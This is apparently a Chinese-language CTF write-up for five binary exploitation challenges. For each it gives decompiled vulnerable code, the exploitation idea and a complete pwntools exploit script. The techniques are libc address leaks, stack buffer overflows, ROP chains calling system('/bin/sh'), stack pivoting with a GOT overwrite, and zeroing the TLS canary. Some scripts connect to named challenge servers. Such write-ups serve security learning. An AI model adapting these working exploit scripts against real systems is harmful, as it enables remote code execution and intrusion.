bypass
main 函数中输入格式不正确的时候会输出 puts 函数地址,泄露 libc 地址,输入长度为 4 内容为 \x00 的时候会进入 compare 函数
__int64 __fastcall main(int a1, char **a2, char **a3)
{
...
*(_QWORD *)s = &puts;
((void (__fastcall *)(__int64 *, char **, char *))init_0)(&v6, a2, buf);
fd = open(".BYPASS", 0);
if ( fd >= 0 )
{
if ( read(fd, buf, 0x1000uLL) )
{
close(fd);
if ( buf[strlen(buf) - 1] == '\n' )
buf[strlen(buf) - 1] = 0;
v8 = strchr(buf, ':');
if ( v8 )
{
if ( (unsigned __int64)(v8 - buf) <= 0x3F )
{
if ( strlen(v8 + 1) <= 0x3F )
{
*v8 = 0;
strcpy(dest, buf);
strcpy(byte_602140, v8 + 1);
while ( 1 )
{
while ( 1 )
{
if ( read(0, &v7, 4uLL) != 4 )
return 1LL;
if ( v7 )
break;
compare();
}
if ( v7 == 1 )
break;
puts("Invalid");
puts(s);
}
return 0LL;
}
...
}
漏洞点在 compare 函数中,两次 read 都是向 buf 读取并且长度都是 0x200,第一次读取会复制到 KEY 中,第二次读取会复制到 VAL 中,而离 rbp 最近的 VAL 距离也超过 0x200,但是从 buf 复制的过程是遇 \x00 停止,所以可以从 buf 一直复制到 KEY,加起来就超过 0x200 了,但是在覆盖到 ret 的过程中还需要注意 rbp-2h 是复制的 index,要合理控制这个 i 让复制过程正确进行
int compare()
{
ssize_t v0; // rax
char buf[512]; // [rsp+0h] [rbp-610h] BYREF
char KEY[512]; // [rsp+200h] [rbp-410h] BYREF
char VAL[526]; // [rsp+400h] [rbp-210h] BYREF
__int16 i; // [rsp+60Eh] [rbp-2h]
memset(VAL, 0, 0x200uLL);
memset(KEY, 0, sizeof(KEY));
memset(buf, 0, sizeof(buf));
v0 = read(0, buf, 0x200uLL);
if ( v0 >= 0 )
{
LODWORD(v0) = strncmp(buf, "KEY: ", 5uLL);
if ( !(_DWORD)v0 )
{
for ( i = 5; buf[i]; ++i )
KEY[i - 5] = buf[i];
KEY[i - 5] = 0;
memset(buf, 0, sizeof(buf));
v0 = read(0, buf, 0x200uLL);
if ( v0 >= 0 )
{
LODWORD(v0) = strncmp(buf, "VAL: ", 5uLL);
if ( !(_DWORD)v0 )
{
for ( i = 5; buf[i]; ++i )
VAL[i - 5] = buf[i];
...
}
}
return v0;
}
exp
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
file_name = './pwn'
li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')
context.terminal = ['tmux','splitw','-h']
debug = 1
if debug:
r = remote('39.106.48.123', 44314)
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
def get_libc():
return u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r.send('abcd')
puts_addr = get_libc()
libc = ELF('./libc/libc-2.27.so')
libc_base = puts_addr - libc.sym['puts']
r.send('\x00\x00\x00\x00')
p = b'KEY: ' + b'c' * 19 + b'\x13\x02' + b'aaaaaaaa' + p64(0x4f302 + libc_base)
p = p.ljust(0x200, b'a')
r.send(p)
r.send(b'VAL: ' + b'b' * (0x200 - 0x5))
r.interactive()
gender_simulation
菜单里就给了 libc 地址,这题直接测试发现在输入 2 2 之后再输入可以直接劫持程序流,有个后门是性别为购物袋,存在栈溢出漏洞,直接溢出写 rop 链执行 system(‘/bin/sh’)
ssize_t gender(void)
{
__int64 v0; // rax
_BYTE buf[16]; // [rsp+0h] [rbp-10h] BYREF
v0 = std::operator<<<std::char_traits<char>>(
&std::cout,
"If you think you are a shopping bag, please leave your gender certificate");
std::ostream::operator<<(v0, &std::endl<char,std::char_traits<char>>);
return read(0, buf, 0x100uLL);
}
exp
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
file_name = './pwn'
li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')
context.terminal = ['tmux','splitw','-h']
debug = 0
if debug:
r = remote('47.94.84.92', 30857)
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
def get_libc():
return u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r.recvuntil(b'0x')
addr = int(r.recv(12), 16)
libc = ELF('./libc6_2.39-0ubuntu8.3_amd64/usr/lib/x86_64-linux-gnu/libc.so.6')
libc_base = addr - libc.sym['setvbuf']
r.sendline('2')
r.sendline('2')
ret = 0x000000000040201a
pop_rdi_ret = 0x000000000010f75b + libc_base
system = libc_base + libc.sym['system']
binsh = libc_base + libc.search(b'/bin/sh\x00').__next__()
r.sendlineafter(b'certificate', p64(0x4025E6))
p = b'a' * 0x18 + p64(ret) + p64(pop_rdi_ret) + p64(binsh) + p64(system)
r.sendlineafter(b'certificate', p)
r.interactive()
riya
输入 n 直接跳到 LABEL_10 送 shell
void __fastcall main(__int64 a1, char **a2, char **a3)
{
...
puts("y/n");
read(0, &v3, 1uLL);
if ( v3 != 'Y' )
{
if ( v3 <= 'Y' )
{
...
LABEL_10:
setuid(0x3E8u);
backdoor();
exit(0);
}
if ( v3 == 'n' )
goto LABEL_10;
if ( v3 != 'y' )
goto LABEL_11;
}
...
}
toys
这题只有一个栈溢出,还没什么 gadgets
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
char s[128]; // [rsp+0h] [rbp-80h] BYREF
init();
puts("There are no toys here!");
printf("Data: ");
fgets(s, 0x1337, stdin);
if ( strlen(s) > 0x80 )
{
puts("Too many!");
exit(-1);
}
puts("OK!");
return 0LL;
}
思路:
- 由于缺少 pop_rdi_ret 等 gadgets,而且程序中的 puts 输出的都是 rodata 段的数据,而 strlen_len 的参数是 rbp - 0x80,所以需要改 strlen_got 为 puts_plt 去泄露在 rbp - 0x80提前布置好的 libc 地址
- 修改 strlen_got 的方法是利用 fgets 向 rbp - 0x80 的位置写,修改 rbp 为 strlen_got + 0x80 再用 fgets 输入就能覆盖 strlen_got 为 puts_plt
- 直接把栈迁移到 got 表那块会覆盖到其他有用的地址,所以需要迁移到程序段高地址去写 rop 链,其中一次输入在 strlen_got + 0x80
exp分析:
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
file_name = './pwn'
li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')
context.terminal = ['tmux','splitw','-h']
debug = 0
if debug:
r = remote('node4.buuoj.cn', 26870)
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
def get_libc():
return u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
main = 0x401274
got_addr = 0x404000
leave_ret = 0x00000000004012cd
puts_plt = elf.plt['puts']
strlen_got = elf.got['strlen']
strlen = 0x40128C
p = b'\x00' * 0x80 + p64(got_addr + 0x800) + p64(main)
r.sendlineafter(b':', p)
p = b'\x00' * 0x80 + p64(got_addr + 0x100) + p64(main) + p64(strlen_got + 0x80) + p64(main) + p64(strlen_got + 0x98) + p64(strlen) + p64(strlen_got + 0x700) + p64(main)
r.sendlineafter(b'OK', p)
p = p64(0) + p64(got_addr + 0x820) + p64(leave_ret) + p64(0) + p64(got_addr + 0x830) + p64(leave_ret)
p = p.ljust(0x80, b'\x00') + p64(got_addr + 0x810) + p64(leave_ret)
r.sendlineafter(b'OK', p)
r.sendlineafter(b'OK', p64(puts_plt))
libc_base = get_libc() - 0x88540
libc = ELF('./2.39/libc.so.6')
system = libc_base + libc.sym['system']
binsh = libc_base + libc.search(b'/bin/sh').__next__()
pop_rdi_ret = libc_base + 0x000000000010f75b
p = b'\x00' * 0x88 + p64(pop_rdi_ret) + p64(binsh) + p64(system)
r.sendlineafter(b'OK', p)
r.interactive()
p = b'\x00' * 0x80 + p64(got_addr + 0x800) + p64(main)
=> rbp = got + 0x800
p = b'\x00' * 0x80 + p64(got_addr + 0x100) + p64(main) + p64(strlen_got + 0x80) + p64(main) + p64(strlen_got + 0x98) + p64(strlen) + p64(strlen_got + 0x700) + p64(main)
=> rbp = got + 0x100
got + 0x800 : p64(got_addr + 0x100) p64(main)
got + 0x810 : p64(strlen_got + 0x80) p64(main)
got + 0x820 : p64(strlen_got + 0x98) p64(strlen)
got + 0x830 : p64(strlen_got + 0x700) p64(main)
p = p64(0) + p64(got_addr + 0x820) + p64(leave_ret) + p64(0) + p64(got_addr + 0x830) + p64(leave_ret) p = p.ljust(0x80, b'\x00') + p64(got_addr + 0x810) + p64(leave_ret)
=> rbp = got + 0x810
got + 0x80 : p64(0) p64(got_addr + 0x820)
got + 0x90 : p64(leave_ret) p64(0)
got + 0xa0 : p64(got_addr + 0x830) p64(leave_ret)
got + 0x100 : p64(got_addr + 0x810) p64(leave_ret)
接下来的程序流:
leave_ret 迁移到 got_addr + 0x818,执行 main
rbp : got + 0x100 => got + 0x810 => strlen_got + 0x80
两次 pop rbp 后 rbp 变成 strlen_got + 0x80
此时 fgets 就是向 rbp - 0x80 即 strlen_got 读,发送 p64(puts_plt) 即可改 strlen_got 为 puts_plt
rbp : strlen_got + 0x80 = got + 0x88 => got_addr + 0x820 => strlen_got + 0x98 = got + 0xa0 ret : got + 0x90 => leave_ret
leave_ret 迁移到 rbp + 8 = got_addr + 0x828 => strlen,执行 main 中的 strlen,迁移时执行两次 pop rbp 使 rbp 变成 got + 0xa0
rbp : got + 0xa0 => got_addr + 0x830 ret : got + 0xa8 => leave_ret
所以 strlen 的一参是 rbp - 0x80 = got + 0x20 = setvbuf_got,而 strlen_got 已经被改成 puts_plt,相当于执行 puts 输出了 setvbuf_got,最后 ret 是 leave_ret
再次迁移到 rbp + 8 = got_addr + 0x838 = main,最后一次利用栈溢出写 rop 链执行 system(‘/bin/sh’)
rogue_like
本题有三次选择:
第一次选择一个武器,有三个选择,case 1 设置 libc 中任意 64 位地址为 0,case 2 写 libc 中任意地址一个 byte,case 3 泄露 /proc/self/maps 中的地址;
第二次选择一个祝福,case 1 会崩溃,case 2 和 case 3 功能 都是给任意地址加上 5 以内的值;
第三次选择一个挑战,case 1 溢出 0x10,case 2 输出 0x120 后输入 0xf0,无溢出,case 3 两次 read,一次刚好到 rbp,并且存在栈的 off-by-null
但是题目开了 canary,所以需要组合三次选择来绕过 canary 并且执行 rop
思路:第一次选 1,改 tls 中的 canary 为 0,第二次选 2,让 got 表中的 alarm + 5 得到 syscall,第三次选 3,程序中已经有 /bin/sh,再利用第二次 read 控制 rax 执行 syscall 即可
exp
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
file_name = './pwn'
li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')
context.terminal = ['tmux','splitw','-h']
debug = 0
if debug:
r = remote('node4.buuoj.cn', 26870)
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
def get_libc():
return u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
pop_rdi_ret = 0x00000000004013f4
pop_rsi_ret = 0x00000000004013f6
pop_rdx_ret = 0x00000000004013f8
ret = 0x00000000004007fe
binsh = 0x00000000004019d7
syscall = elf.plt['alarm']
r.sendafter(b'>', b'1')
r.sendafter(b'!', str(0x2568))
r.sendafter(b'>', b'2')
r.sendafter(b'increase.', b'5')
r.sendafter(b'increase.', str(0x602058))
r.send(b'3')
p = b'a' * 0x7 + p64(ret) * 24 + p64(pop_rdi_ret) + p64(binsh) + p64(pop_rsi_ret) + p64(0) + p64(pop_rdx_ret) + p64(0) + p64(syscall) + p64(0) * 2
r.send(p)
p = b'a' * 0x3 + p64(ret) * 7
r.send(p)
r.interactive()